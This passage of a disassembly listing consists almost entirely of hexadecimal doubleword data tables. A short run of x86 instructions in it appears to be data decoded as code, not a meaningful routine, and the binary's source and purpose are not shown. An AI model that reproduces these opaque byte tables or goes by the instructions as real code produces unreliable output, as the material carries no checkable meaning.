		dd 0B730F164h, 0AE0328A3h, 0B352883Ah, 0EF01100Bh, 0C0302265h
		dd 36780C67h, 5CEB6A00h, 2FD80A5Ah, 0A37D009Bh,	30A68CEEh
		dd 0E60E5857h, 36C16BC8h, 82F294C8h, 90090056h,	2604DBBAh
		dd 286718BCh, 4F38C338h, 7E808CD2h, 0B890203Fh,	0FF18286Ch
		dd 214824F8h, 0A04E0060h, 34982909h, 0C04244Bh,	7100060Ch
		dd 0F6CC80E1h, 6EA8FCA8h, 2A7C9095h, 0D10023Ah,	0E103E986h
		dd 5A12F2E0h, 27D83E01h, 7A918A7Fh, 980212Fh, 0F001054Bh
		dd 0C29DEC3Fh, 6A111070h, 7D919BEh, 25ADCC7h, 30F081BBh
		dd 70C8974Eh, 0C3992D2Eh, 0BC2E34A9h, 5859AD82h, 63A924C1h
		dd 846700F0h, 0D16F05AEh, 5CF4AAC0h, 65702ED0h,	968B8D8h
		dd 4025E632h, 0F19180h,	4A5C3CD4h, 29179BECh, 0AD3F15FCh
		dd 9D9400C0h, 602ADB61h, 672B0052h, 85B74EBDh, 0F9D5AD1h
		dd 0F57D615Ch, 0E6D02AE5h, 907E4F15h, 308E723Ch, 6587403h
		dd 0EBAE483Dh, 0D750B8AFh, 0FA370E67h, 0A86041FBh, 68E0D18Eh
		dd 90B1B983h, 0FA7843Ch, 0F7284033h, 1CCDD19Dh,	805120C4h
		dd 0AC437984h, 88E77208h, 0F9E2898h, 0D4EB4D6Fh, 8E66D080h
		dd 2062A614h, 7585D1D8h, 6C200Bh, 997C9627h, 0D180A468h
		dd 8F2881AAh, 31027F34h, 0A8A9119Ah, 4270C2B6h,	40145C0Ch
		dd 0BEC2F051h, 98800D09h, 4ED40103h, 0B8ECA0DDh, 596C92F3h
		dd 1F2EB0C1h, 0B48B1724h, 4E40DB74h, 0ED792ED7h, 23DF00A0h
		dd 2854C1ACh, 0A006E618h, 32808EA1h, 95B8F944h,	69CC76h
		dd 11720734h, 0F0FFFEABh, 110662E2h, 34E1BEB8h,	0E6788C99h
		dd 7AD0E117h, 792C90D1h, 1AC700E9h, 80EF6EAh, 0E6182BAFh
		dd 0B4280CCBh, 0E7613259h, 344BDD2Eh, 98189790h, 50000B74h
		dd 0A990AFC0h, 27482FFEh, 7804A4DCh, 8B64C1B8h,	8587D8Dh
		dd 4285080h, 0AC8718E6h, 2C0202F4h, 5E4E9967h, 8C3045A4h
		dd 3213D2E4h, 901796B8h, 0F884FC82h, 0C82D4B10h, 80F6711Ch
		dd 67EC0554h, 18760E2Dh, 3C493064h, 2FF915Bh, 4472312Bh
		dd 0A48F6A11h, 0D09DF2E0h, 0B871F9C8h, 1204A65Dh, 10A0BF80h
		dd 95712C8Bh, 87916480h, 5F031888h, 0AF31980h, 0EC298A28h
		dd 728F4FCCh, 0B99C32D3h, 0F70B145Eh, 1F0073Fh,	0B0E263C5h
		dd 8216F456h, 8680214Ah, 0C3B90189h, 40D43424h,	3B003104h
		dd 29870BA3h, 0E473C58Fh, 84B869h, 0E2598AB5h, 0CB4B30B9h
		dd 8B851E8h, 83C0C202h,	0A2F43FE6h, 0C933DBC0h,	2461C8A0h
		dd 4B6AC34h, 1DC4B2A6h,	8120F060h, 1C30214Bh, 124B4E5Ah
		dd 71E6863h, 59B713C4h,	0E856F909h, 94C2E824h, 0B8307BACh
		dd 8959F817h, 0D2C33144h, 821C4452h, 206DCF4Dh,	8E11770h
		dd 0FAAE126Bh, 0BDF000A6h, 8844495Fh, 99B68730h, 6D2CD1F2h
		dd 0E04938BCh, 98BE8B5Ch, 5084542Ch, 0ADCC5Eh, 3CFDA444h
		dd 0AA582941h, 9FD48707h, 0FC59F00Eh, 0A5262BB2h, 661A2099h
		dd 5178C458h, 3862244Ch, 584C923Bh, 93C5A2Eh, 88586787h
		dd 0AD08C001h, 2C46B37h
		dd 0EB79E860h, 5BFBFC50h, 45C49C4Ch, 48C49802h,	0CAA50313h
		dd 28A98844h, 28C0620Ah, 0C71D203Ch, 50B5971Eh,	23A0C609h
		dd 0C6A3D158h, 88BF17F8h, 9340C040h, 6C9428B3h,	69A5D84Ah
		dd 783C2AACh, 486915A1h, 0C09679D8h, 13672A09h,	96500254h
		dd 0BD77F431h, 7FB0C1h,	0BED5041Bh, 0B0C812C8h,	0DA506900h
		dd 181CC188h, 0B4E4861Bh, 0A282742Eh, 58810847h, 31527C8Ch
		dd 0BF78CEE3h, 1B3893EAh, 1C226008h, 0B88B15ABh, 47095800h
		dd 0B5D2BD50h, 90E02E69h, 6EFF1A0h, 5A82E9A8h, 0C04BC92Ah
		dd 0E1586081h, 0B82F5DF4h, 0ACCC48D3h, 680E44Ch, 9B9AE4DDh
		dd 0AB6025E0h, 64E62630h, 1A80C012h, 94F89FBh, 62501158h
		dd 0D0B03090h, 2E71E02Ch, 9D832D0h, 641A08F8h, 7B2EC880h
		dd 280173BDh, 2F615292h, 0A06CC795h, 8377C8A2h,	0E0942C80h
		dd 0E9521FAh, 4E30C2B8h, 79EA801Fh, 0E4862880h,	0D9C98900h
		dd 376B189Dh, 3E5FB092h, 7412D096h, 2D00001h, 0A86287C3h
		dd 0E07B8678h, 7E2811C5h, 0D1951402h, 526C682Ah, 83FD2E58h
		dd 51AF8134h, 34A9E62Eh, 0D324D14Ch, 0EF053076h, 0B8C4C380h
		dd 0ED27CC0h, 9EFC0729h, 0B1158228h, 0E1E6DA33h, 0E6C83554h
		dd 5B036854h, 818BD603h, 5874D538h, 5245F11h, 0B920F8ACh
		dd 6731C1CCh, 0A83C5881h, 4E640C9Eh, 0DA4BA991h, 7887CD6h
		dd 7E3EC999h, 93C41456h, 0F18148F8h, 30013A8Eh,	25DAAE2Dh
		dd 0A2C8C28h, 629CAEECh, 0A48AB51Ch, 44B24998h,	0B602C8F0h
		dd 19C8058h, 41F076AAh,	81C532E6h, 1260F7A9h, 0C2D9524h
		dd 2D54B0A4h, 88974024h, 78814842h, 52A894A0h, 6CAD9051h
		dd 9F6D2088h, 0FE4F1500h, 8428B1F3h, 1BF5032Bh,	0A0CE4E21h
		dd 0C08E7EF9h, 50B6922Fh, 71CE389Ch, 80F3E16Ah,	4C635732h
		dd 81247C78h, 0FA74208Ch, 186BD40h, 34032A15h, 6F435B7Ah
		dd 97288000h, 277B57B3h, 0CE0CDE4h, 0CF00750Fh,	0DC918CA3h
		dd 5D50E630h, 35FB4CEh,	0B71AD1A8h, 0C00BD027h,	0B2554E0h
		dd 0D585528Ah, 141D5859h, 5C891BC0h, 0D78328h, 0FC184E56h
		dd 0E9B302Ch, 0D892E107h, 60BD5DE6h, 0BC13947Dh, 136CF362h
		dd 14C851D7h, 5DDC01A6h, 2FA4B01h, 1FA43828h, 58CBB3BCh
		dd 31A585C0h, 9D80807h,	5B54FAD9h, 297C908Dh, 3FE9C293h
		dd 0BA75BC71h, 34261081h, 70565E84h, 4617FA14h,	3907B971h
		dd 0B180B7F7h, 919DFD67h, 0AE68870h, 4BFC60ADh,	774F2DD2h
		dd 14D17090h, 0C19461B5h, 1A4C167Ah, 78408070h,	7A60F1E6h
		dd 5058B540h, 1AD3747Fh, 50299F4Bh, 902474D2h, 583514D1h
		dd 79098067h, 829462F8h, 63F91C48h, 200242F6h, 0A180D192h
		dd 3D0F09A5h, 7CFD5981h, 2A7ADC29h, 4F6DE21Fh, 0A50BB42Ch
		dd 97BC0108h, 0A7A31D1h, 1D90502Ch, 0A9990F5Bh,	8292F89h
		dd 0F79E7A80h, 0A604234Eh, 84678804h, 2C707CE2h, 81045106h
		dd 12C1F603h, 64003145h, 7D0F295Ch, 9A48D1ECh, 0FE488010h
		dd 4A420836h, 9F5C0B76h, 0A81C3871h, 20219796h,	1C64C0D1h
		dd 34AB48FAh, 0C76E883h, 6870CEA2h, 9CE4E709h, 72438EF8h
		dd 11E5780Ch, 10B54823h, 0F8089496h, 0F6507FD8h, 0DD4C2ADCh
		dd 0C2285424h, 92308114h, 0B8A49D70h, 9E73FBC0h, 58B701CFh
		dd 0EAD75BE6h, 60F9FDEDh, 3700BD24h, 0BCA645B4h, 0EA4C357h
		dd 0B30D60A8h, 81EB6805h, 969024A4h, 0C490B094h, 9EA63067h
		dd 0A4640F4h, 96692D88h, 647E7088h, 0D199A8BEh,	37CBD70h
		dd 9AD081AFh, 959288Bh,	520ECD0h, 5EA602B0h, 9F40D545h
		dd 74826C64h, 82BBC451h, 5B4A96D2h, 0C804E080h,	39FC3AD1h
		dd 0B6B4495Bh, 0C351C901h, 0C18075F9h, 9186CC4h, 73B416D8h
		dd 0BE360DCCh, 8A8C24D1h, 13080452h, 0C0F6A14Ch, 0DC90044Ah
		dd 0D6C4EDCEh, 64A0F452h, 0CDDE2780h, 0F67078C0h, 64905F83h
		dd 13B4ECBCh, 0F4200C58h, 12EF1C9h, 7BDFDCC6h, 26056B67h
		dd 0FA1316F4h, 5709E0A8h, 0A70998F7h, 4C1470D4h, 308D9224h
		dd 0C472DBF1h, 3E1BAD38h, 0EDE090F2h, 4C4B9591h, 5C3130DDh
		dd 0B734053Ah, 3950E35Bh, 6A092E17h, 448F2C3Ch,	7AE80BC9h
		dd 14E1CB4h, 0F5D38E81h, 58B87E06h, 0DE0ABC9Eh,	0A0BC8CB5h
		dd 11C81CE8h, 440309B4h, 8B19E4C8h, 8106E117h, 9F55D801h
		dd 5020C1E9h, 918A06A9h, 0B06440D1h, 8CFF3701h,	0FC2BBF78h
		dd 0D091F16Ah, 0C6308834h, 9F9E9F5h, 73E7007Eh,	0A5A4E629h
		dd 0ECB86D47h, 91121500h, 0B320ACD8h, 572B0046h, 3926C232h
		dd 7212244Ah, 0E02131EFh, 21CD3706h, 1EB8C30h, 24A143BAh
		dd 7EB8FFD8h, 4C203C53h, 9DEC605Ah, 0A4F9E01Ah,	0F97EDC20h
		dd 0DF20B881h, 14C0742Bh, 0F08A89E6h, 0D8FF9D03h, 4582A1D3h
		dd 8898A4D0h, 70DB220h,	0B4C87315h, 699302EDh, 74F2AC4Bh
		dd 0D41C5702h, 185FE69Ch, 20671B40h, 68A4BEDEh,	0FF922h
		dd 0BF81AB88h, 5A270150h, 19E630C5h, 0B9288CB8h, 707F67D4h
		dd 98B6C332h, 5BB23800h, 7BA7094Fh, 19973ECh, 91D36EA2h
		dd 7FFE80F9h, 0D39E540Bh, 5E2990ECh, 0BC4E848h,	1C25A38Dh
		dd 4DC8B203h, 8B061AC8h, 2CBCB488h, 0BF80452Ch,	510B7B20h
		dd 60E18480h, 0CEF2A78h, 6DBEE5F0h, 0A3258258h,	776498C0h
		dd 0EC4700F0h, 2DFC7CD8h, 32989C2Ah, 8CD08818h,	3C3CE699h
		dd 448850Ch, 0D7DE2C02h, 74EAD89Bh, 9806080Bh, 0BA00293Dh
		dd 66DD9C31h, 719D40Fh,	87B849EEh, 0E6D700E9h, 90C09A3Fh
		dd 0E5BDEF13h, 822803BFh, 4B80EDC4h, 265638B8h,	0E002E625h
		dd 0A4B12150h, 865339ECh, 0CEB5F480h, 0F6D85739h, 8C1FACA0h
		dd 144CD05h, 0D4D89BA1h, 4E7D40CEh, 0E52E001h, 0BD8841F0h
		dd 0F60D034h, 0A328B8F9h, 0D577CE0h, 2302054Eh,	48EAD1CDh
		dd 0B8C859A4h, 402E1516h, 0B4D8E7ACh, 720446C8h, 0DBCE30E6h
		dd 0D2023C81h, 0A08EC047h, 0B30E6054h, 528CF9E8h, 2AC81779h
		dd 54B6C0A1h, 0B60FCC4h, 0C87DFBEh, 289873h, 31B66436h
		dd 0E0D782B1h, 34A2CE4Ah, 3F07EF00h, 9DE69C93h,	8064BC04h
		dd 4BAA75F2h, 1C469BE0h, 6D53C30Ah, 0F100CC7Ch,	0B46FE2B8h
		dd 26590772h, 49CBE5E9h, 8021B424h, 7428557Eh, 0B660C809h
		dd 300C00D7h, 2E17F07Ch, 43892EAh, 0E2DC5654h, 0E8945EF4h
		dd 1DA83CB0h, 0D3982483h, 0A73C0CE6h, 8113C111h, 70C87E90h
		dd 21054FF2h, 0F15EB38Ch, 30306BE8h, 959F095Ah,	8C81544Bh
		dd 5418A4C4h, 1540301h,	0F84CC159h, 22735B8Eh, 2CF907F0h
		dd 0F0DAAE42h, 5EB82DE4h, 0D7D13018h, 2468C241h, 0F5668082h
		dd 8C803C5Ch, 5BA021C3h, 9B31002Bh, 0BA655363h,	4601A920h
		dd 0E63350E1h, 2032F8AAh, 8009C427h, 5C5070EAh,	0AF80590Ch
		dd 780AB9BBh, 80B15B5Ah, 58E9AC4h, 917F9504h, 0A0C128E1h
		dd 0BC002F87h, 5C07BAD3h, 0B302D854h, 2C12784Ah, 0FCC6E0D2h
		dd 89708834h, 0EDF58204h, 0AE0023ABh, 55EE82h, 808F5158h
		dd 0E6160926h, 54A079ABh, 0DBC21203h, 81B0785Ch, 0A0C87FE1h
		dd 47CFF901h, 20EBC0D3h, 0E77C4EEEh, 0BB036AE4h, 0C4D18A12h
		dd 0BB0002Dh, 819D3DDEh, 0B0B7A74Fh, 229FD4h, 0F40AF136h
		dd 32FC79D8h, 0BA23C400h, 342667BDh, 0DD970B5Eh, 1484F1D1h
		dd 0C128AC87h, 0FFE2E62Bh, 0A212E096h, 0EE301604h, 0A598400h
		dd 1E9BC0E1h, 2BF0B98h,	4D87CEF9h, 10078F4h, 0C931517Fh
		dd 52BD2E97h, 9CC70FCCh, 0A9EE7960h, 6107D7C4h,	749A236Dh
		dd 0D1EADAD0h, 0D9A7F591h
		dd 49822C43h, 30380B55h, 4232AF48h, 0FD0E00DBh,	0D1615F92h
		dd 9003B7DFh, 0C1F08132h, 4E02177Dh, 0E4D0DEE9h, 3E2CE0C8h
		dd 2AFE3EA0h, 0D1130900h, 86C08454h, 5E64E627h,	0FCE8250Ch
		dd 61229E27h, 0F14841C6h, 0DD082064h, 1013B914h, 60020208h
		dd 0D5C054D3h, 0C0DB832h, 301C0810h, 36AB9100h,	93707834h
		dd 2BFC3D22h, 5AD8828Fh, 59E75C02h, 8894A458h, 0C45B8B52h
		dd 80C2E228h, 0A14A48B4h, 5ABF1092h, 2D709B8Ch,	0B8313464h
		dd 0A8E1289Eh, 38D4263Fh, 2C9DB35Eh, 0C860ED0h,	8B806664h
		dd 29009431h, 9BEB2487h, 101DC01Bh, 24D41FD2h, 0A01E9059h
		dd 52B22660h, 42983BD4h, 0F86C1DEh, 0CCF96800h,	0D851D446h
		dd 37AC34F0h, 8000AB71h, 9790B93Ch, 0BCEC0029h,	0D88698E4h
		dd 0A82CB5E1h, 0D90024B3h, 0AE5EB6EEh, 98E619DBh, 0EC224095h
		dd 0AC3A9631h, 0DD4F073Fh, 5C275902h, 40E96502h, 0E0462660h
		dd 49B49E2Fh, 2A96A4D1h, 0C05F7CA2h, 653E8050h,	58058CA5h
		dd 50851660h, 565F5849h, 0F2D1625Ch, 320110DEh,	0EE5BAFBh
		dd 946C30h, 0E98C9F8Dh,	0DD4ED486h, 0BBE0B700h,	91A6484Fh
		dd 10305CB9h, 938502Eh,	0C0B2F5A1h, 2653F1C1h, 26B00B88h
		dd 0E6E068D5h, 160892ECh, 0A0D702E9h, 0B200A664h, 35276128h
		dd 16DA631Ah, 0B1B8D1D2h, 293070DCh, 0C50CEA58h, 84439D0Dh
		dd 16D670D1h, 33D52E18h, 0F081B728h, 0D1D02085h, 7770E38h
		dd 0F1D815DDh, 0D6D0E990h, 0A8FA0059h, 726A9B29h, 0BA2F80D4h
		dd 4FB8C0CBh, 0F784008Dh, 0E5CA52FBh, 0B000B916h, 0A6DB807Ah
		dd 511475Ah, 31535849h,	3483AE1Dh, 0A3378B4Bh, 0FD33C019h
		dd 1E567843h, 308AB011h, 304F5018h, 0C63220C1h,	18800D9Ah
		dd 0AE16BD92h, 48C0D5DDh, 113F5619h, 31F70B45h,	11801D90h
		dd 62AC75C5h, 9698DB14h, 0F3037D34h, 111F561Dh,	7E16B892h
		dd 0CB781049h, 0E3F400A5h, 0B16550C3h, 0A2E80075h, 342BCE1Dh
		dd 0D930B0D7h, 7FB84803h, 0DAB403ADh, 59FE07E9h, 5A8051h
		dd 0FD08B934h, 90F817F8h, 0C616DD0Ch, 3C9A913Dh, 3E18377Dh
		dd 7931D05Bh, 58380660h, 3DA61127h, 0B08C1705h,	2018240Bh
		dd 3D379C00h, 5DAE212Ah, 57D8EBB5h, 0D68CA054h,	9884A0EAh
		dd 709D017Fh, 814BDC6Ch, 209C401Fh, 69F0B4F5h, 6F0D0E8h
		dd 242BC907h, 0E7EE3FF0h, 0A075BAA6h, 0FAC0B424h, 0B05417BEh
		dd 0AD4D145Eh, 2B0A08B2h, 10A0C7B6h, 0B8A68A3Fh, 492D8B39h
		dd 0C9998041h, 72F5391h, 9E0499A7h, 314C8023h, 0A8C3F93Fh
		dd 0F916DCF1h, 0F0C4B515h, 4F70A1Bh, 0A0F0EEC6h, 17CA1FE4h
		dd 40AB0009h, 3A320FDh,	2CC288A0h, 0EED01900h, 0B2781110h
		dd 0F0ECA8ABh, 0DAF9181Dh, 764B106Bh, 0D2D13D6Fh, 40581422h
		dd 482FB044h, 860E4C82h, 0F0A0AD7Dh, 7801CA97h,	8E18D060h
		dd 50FD2062h, 0E41C88Dh, 49D3AC26h, 8717EF23h, 0C7B44CC1h
		dd 4E7F281Ch, 4B06FC69h, 97844E5h, 7950BFA6h, 6BF06018h
		dd 0EB84780h, 0DFDEAD81h, 504E80E0h, 4400727Ah,	4877D7A1h
		dd 2A55C58h, 0C60228D2h, 1C40AD51h, 1603ED90h, 59F94281h
		dd 0AB582454h, 58771C34h, 20611010h, 0A4B35A80h, 0A63C2010h
		dd 7B70EFF6h, 92102D09h, 81A43AD5h, 7E08B804h, 8497C841h
		dd 28875825h, 40C5A631h, 59584F78h, 19487F3Bh, 0CB59A813h
		dd 0B8009C55h, 2463C786h, 0D8343179h, 20E5A839h, 0EB407744h
		dd 0A1B700AEh, 0CFF87F19h, 61007C70h, 76CD3FCBh, 3642C0Eh
		dd 15EA4210h, 67880137h, 2579058Ah, 0FE3C822Dh,	782241F6h
		dd 0F835C11Dh, 8A0F575Fh, 0BBC782E7h, 0EF659724h, 2688060Ch
		dd 8ACCE58Ch, 0E306C215h, 1183C382h, 0E7B7ED84h, 1C0E53Dh
		dd 60FB020Bh, 5D328388h, 87DC80EAh, 0E28A5200h,	20C25582h
		dd 0D88B1FFh, 8353452h,	0EA52604Bh, 83837857h, 756BB31h
		dd 252D8A55h, 7CAD9255h, 45E1490Dh, 0C6812387h,	2309834Dh
		dd 87C7E323h, 411D8C5Dh, 0B70DF369h, 0E831D318h, 2FA1B1EAh
		dd 3413B5Ch, 0E9180D22h, 54AF5B59h, 5EBB0153h, 8A558F24h
		dd 0CCF8F5D4h, 0E40EC482h, 0C75A833Eh, 0E1CE22F4h, 7ECC215h
		dd 268112B9h, 0AEA0144h, 764EBF39h, 1AD2E0FDh, 302086A4h
		dd 8C673162h, 0D655517Eh, 0C582F882h, 48064D85h, 0EA41ED58h
		dd 1781733Bh, 0F66E06E8h, 0FFC8D82Bh, 7E14350Ah, 0EA06E00Ah
		dd 1E282053h, 0AE68A56h, 43A124F1h, 61902584h, 1A90CF02h
		dd 695A0880h, 0A3AA6DFAh, 750FAF0Eh, 0E8C05C6h,	82E8EA18h
		dd 3CBFB61Eh, 9C94E929h, 2E00D5E7h, 6B03640Bh, 650D12Ah
		dd 0E4FB5B07h, 387BC05Fh, 0E721F603h, 0E4E90242h, 47BC5421h
		dd 5CD9D012h, 7701BA52h, 0F872D27Fh, 0E14042DAh, 8B66218h
		dd 4586EA4Eh, 0C58C5B1Dh, 75B90C7Eh, 3F730ACAh,	90A9C832h
		dd 0D8F80684h, 576BE56h, 3DEAEB92h, 92735D90h, 69A90348h
		dd 19741DD0h, 0EA1256F8h, 155F6826h, 0D4020F60h, 6CA90489h
		dd 0CA0CD720h, 0F8308510h, 2B691018h, 2547CD26h, 0A8AB984h
		dd 0C20754EAh, 0C50EC81h, 0F0D8C780h, 0D05D0246h, 1FDDE964h
		dd 0C2A0A78Fh, 5AD70866h, 93FAF673h, 581A5667h,	3A27CA63h
		dd 8B81010Ch, 0C481240Ch, 0B114A804h, 0AAE9D00Ch, 3C8B0E48h
		dd 74182414h, 0C87100Ah, 8177F780h, 463AF8ADh, 29590CC0h
		dd 1815AD5h, 0A668DCC3h, 70EB0171h, 27A90B8Ah, 0FF6E8E83h
		dd 7968C377h, 0E91C1E6Bh, 0F702B055h, 0DE9046D6h, 6B1C300h
		dd 5EF531A3h, 334CC421h, 22341E25h, 0A4505B0Fh,	0FB9034E2h
		dd 3D327CC7h, 77BA3F4Eh, 70682367h, 58109A6Ch, 7D6D056Eh
		dd 0E1719640h, 1012573h, 551A8674h, 8003FEE9h, 26BF5738h
		dd 0AD4D0A1h, 3C8BFA29h, 0A6E90662h, 807646DEh,	0CA88430Eh
		dd 79831459h, 6B5EE33h,	0E6F875Ch, 0A87BB0C6h, 688957BBh
		dd 2163AEE7h, 0E9883F06h, 830F281Fh, 1C8985ECh,	0E08FBE06h
		dd 0C6010774h, 0CC9B6858h, 343E8926h, 0D174B924h, 8B0E9EB0h
		dd 6A1F0ABh, 24F78F1Eh,	414C582Ch, 401CE1E1h, 16BD554Fh
		dd 0E844E00h, 129FF581h, 0E9280C36h, 294414DEh,	6232FE77h
		dd 82F70E1Bh, 614D5DF1h, 83F7534Ch, 0FF1A3384h,	0E4075F6Ch
		dd 3BDE1E50h, 208B89FEh, 3087F659h, 665A7BF7h, 3433D3C7h
		dd 0D06316Dh, 41EFB303h, 38FA70A6h, 0C3C25453h,	483168E9h
		dd 0F0EF0116h, 102B656Eh, 2D1700BBh, 3B903E1Ah,	5D80114h
		dd 3E5B2907h, 5884143h,	0E5685136h, 0E2BB3743h,	83485405h
		dd 0ABA61C87h, 81B241E8h, 288E5448h, 0CCFC3EC2h, 89515C62h
		dd 0A23540E1h, 262C7168h, 63D7F7h, 337A7E18h, 2809CA81h
		dd 0F077B29h, 824490A8h, 22109158h, 0E709ED86h,	18DF847Fh
		dd 63105893h, 67BBC094h, 0C0771742h, 0A52D5BFCh, 0E0EB3E58h
		dd 0CE30E9F0h, 90682A71h, 0AC51D176h, 48D0510h,	2C805266h
		dd 5A603B87h, 3602E2C0h, 8A04CAFEh, 9FFC17EFh, 0E9D50AB0h
		dd 23E1E4B1h, 0E3C537DCh, 1C35F1C6h, 941D345Ch,	0C8B60F07h
		dd 619C5182h, 1005D714h, 34481F4Eh, 0F1835D1Ch,	931C3E44h
		dd 712CCD17h, 60B2D987h, 5494B209h, 8B282Bh, 4AA676B2h
		dd 0EB3AC14Bh, 0F3810007h, 23457A48h, 6D5A36E9h, 0C0269648h
		dd 56846B66h, 4AD9E689h, 26E9C518h, 84B07937h, 94515FF9h
		dd 0E94F7095h, 0BFC747C2h, 0F5345DEEh, 95D3E397h, 95B7D46h
		dd 14020456h, 176038Dh,	2438E908h, 0AD14B6B9h, 0CDF728h
		dd 0FE5BF920h, 54A9E9C1h
		dd 8234842Eh, 0F886B32Fh, 0D9F31801h, 590064EDh, 7070F5F8h
		dd 30ACA9E1h, 0F8A4424Dh, 91790AC0h, 0A491A414h, 0E36ACE5Dh
		dd 0C0E9C1DAh, 9ABB44DFh, 3C871882h, 643868A2h,	314732Dh
		dd 0F618E9E2h, 0FDBA0314h, 29D179DEh, 0CB015A90h, 5765948h
		dd 49954199h, 21B99007h, 2F807DB5h, 9803E6C1h, 0DA296862h
		dd 0A90558C3h, 47DD5826h, 1230A039h, 7F1CC80h, 0E94B143h
		dd 0DD599EFDh, 0E328C9F4h, 3C7C4688h, 67F2C33Eh, 972B311Dh
		dd 0FDB469CBh, 52F4E958h, 2FB300CCh, 4E684B9Dh,	5AF9D464h
		dd 6CC7BD00h, 210533E3h, 4FAD2A07h, 9479D1E9h, 0E8010AEDh
		dd 2482C8Bh, 5E08950h, 0E869B746h, 58179116h, 31E90664h
		dd 0A1938478h, 0E2CF47D5h, 55A2C581h, 0C1012C7Ah, 6BE008E3h
		dd 4A55D218h, 41185D34h, 3372D868h, 41BB261Fh, 8A354CC0h
		dd 0D3F7242Bh, 77D803B3h, 0E3B0662Ch, 0AD3E4ADCh, 3DEB0460h
		dd 5187DD91h, 81C25B34h, 0CEBCC8F7h, 58E6E64Fh,	0FE00AE6Eh
		dd 0E9C0B353h, 61913009h, 7310210Dh, 9659E0FAh,	0A8018362h
		dd 84B1E793h, 0BF846C01h, 6A9BE9h, 650EF0BDh, 4D3FF410h
		dd 0F07611F3h, 5D20C093h, 8247C29h, 8F0D5F76h, 6814047h
		dd 0BDDDD20h, 2083E926h, 0A0333520h, 1262F69h, 0FF20DAC7h
		dd 19371A4h, 1603488h, 0A85972B8h, 0BDE2EA52h, 94DAA325h
		dd 0EA5370h, 77331D1Bh,	0EF288179h, 5F202301h, 3309698Fh
		dd 0A0203414h, 2E547652h, 0A287F545h, 4BFD2C10h, 7706CB69h
		dd 84C123Fh, 0D48F849Ch, 28593315h, 0E9F92192h,	925817Dh
		dd 51E2D1C2h, 0D240E5E8h, 939F274Ah, 2609F635h,	31C3095Bh
		dd 0CBE081A6h, 880804DAh, 0D8494468h, 598DE3Eh,	0B205640h
		dd 0CDFE58C5h, 81B24D02h, 8040C6E2h, 22F598E9h,	806D2148h
		dd 0B9515B54h, 170F5055h, 1BE98170h, 0DEF0A90Dh, 3E2B97A4h
		dd 3490DB93h, 369D0A44h, 0CF2989CCh, 65F4E79Ch,	9BC19482h
		dd 5DE8855Fh, 4F984987h, 0F7472F20h, 0E739C1DFh, 5EF8F06h
		dd 0D6AC2081h, 0B08961ABh, 0B8E1FE24h, 0E183109h, 2057D84Bh
		dd 7F04ADADh, 0DF897245h, 92D59981h, 0B5B10B64h, 0F06600Ch
		dd 0C2F32828h, 6E9A5C86h, 871230B0h, 41055756h,	7C9969ECh
		dd 84FFF707h, 0DCA5D38Dh, 0B9E154DCh, 685E82D0h, 0D99A7810h
		dd 32EDCFC3h, 899CC6EEh, 9A0B7198h, 0D74AA17h, 8012884h
		dd 429B335Dh, 16B40631h, 1822B721h, 0D8FBAD03h,	0E0A33AC2h
		dd 0E591F488h, 0DC062058h, 0DAF700F1h, 8E234C1h, 0C2B00B06h
		dd 0A9D75980h, 0D8BAD089h, 4378E00Ch, 0E0990C58h, 0DE6B5CB5h
		dd 5C4D5E20h, 0BD6824CEh, 6A215D42h, 269765BFh,	757C625Eh
		dd 5D056605h, 9146B6Ah,	430A5C23h, 0B8F87520h, 2C8D2E91h
		dd 0F526DEE3h, 1B6B3324h, 0D4C0631h, 0E6A626E8h, 0E556508Eh
		dd 362037D9h, 0B3694668h, 0BA528AE9h, 6674C0C7h, 126214Fh
		dd 0F40C82D6h, 71C71D43h, 0D73F3FDEh, 83174A48h, 4AC306C1h
		dd 43B874DDh, 1963EB9h,	215E3B49h, 4577683Dh, 6842924Dh
		dd 246AC582h, 0BA25BF0Ah, 0F7BD1A80h, 617A0D0Ah, 1483B332h
		dd 4569C451h, 0CAE2759h, 6B266968h, 7E7AC53Ch, 0C1B1980Bh
		dd 320F4100h, 0F1BE3FBFh, 0EF0128CDh, 0E9F80BEAh, 199E188Eh
		dd 0B040684h, 50840FC0h, 34FFC8E0h, 90D62877h, 0E0C48085h
		dd 0C370EBE6h, 1325E37Dh, 0CC893AEDh, 1A179A10h, 81201EE9h
		dd 0EBA51BA2h, 8103C066h, 3E4530F1h, 18E7F144h,	1D664D58h
		dd 2562CB68h, 2E93E622h, 245B4609h, 94E0D821h, 0C1801F5Bh
		dd 0C83118E8h, 0E2B8FBB0h, 79756812h, 33C10FCDh, 22A5D207h
		dd 0D8675548h, 75FE4082h, 124CAC8Ch, 74651368h,	0E90E9841h
		dd 0AC7B5B8h, 0B9B4F028h, 521626F3h, 5C4D1FB6h,	2CD80E5Ah
		dd 0E9F4C5FEh, 0E01788AFh, 0F0814193h, 7F4CE95Eh, 5C828538h
		dd 3858F1F6h, 6812EFB0h, 44CF74C2h, 3BD11110h, 7B5D2401h
		dd 0B2FC021Eh, 71F1630Ch, 0D1F740BFh, 250E9C1h,	541D3BD6h
		dd 0BD1B1Eh, 30DD43EAh,	0FE59CE29h, 21C802E6h, 0B85062A2h
		dd 0C6FE577Ah, 0F63F4598h, 20A09E4Bh, 875EF245h, 9A878712h
		dd 0A4501858h, 39CCD0BFh, 0C17EB2D8h, 2CC5B186h, 0E582C239h
		dd 757A7C24h, 0E5A29086h, 0AAAF770h, 10450494h,	0AE753DCDh
		dd 0BB5BBD48h, 12521304h, 0C07CD879h, 12595D40h, 61068068h
		dd 58D63FDh, 9202790Bh,	0B5BA0290h, 4A9A411Eh, 0C3579FC3h
		dd 21598B5Fh, 7B40E948h, 0DA8F3AA5h, 0F3A44B0Bh, 828BA2BDh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xchg	ch, [ebp+620084EDh]
		add	eax, 41313899h
		and	eax, 0E03E1ECDh
		and	[esi-79A02064h], bh
		jmp	near ptr 3F3B16EEh
; ---------------------------------------------------------------------------
		dw 95B7h
		dd 0CDF3F71Fh, 9206AAEEh, 7240C580h, 142EE781h,	0F7771F61h
		dd 472D52D7h, 74E82989h, 0FE25A048h, 0F480C41Ch, 2FE128C9h
		dd 2B92FFB8h, 79688430h, 52E69C01h, 6E90AC60h, 0D7939DA6h
		dd 572DC601h, 84040B18h, 9B0815DFh, 2C6C99Ch, 0E421E865h
		dd 4CD7E904h, 965E1BD3h, 310D3E48h, 1817BD15h, 1E003758h
		dd 0C16CC813h, 0F71D03EBh, 815DD1D3h, 0AD759FC2h, 0B2D5E801h
		dd 8E69B08h, 933069D9h,	482F26BAh, 0EA022E03h, 2230685Dh
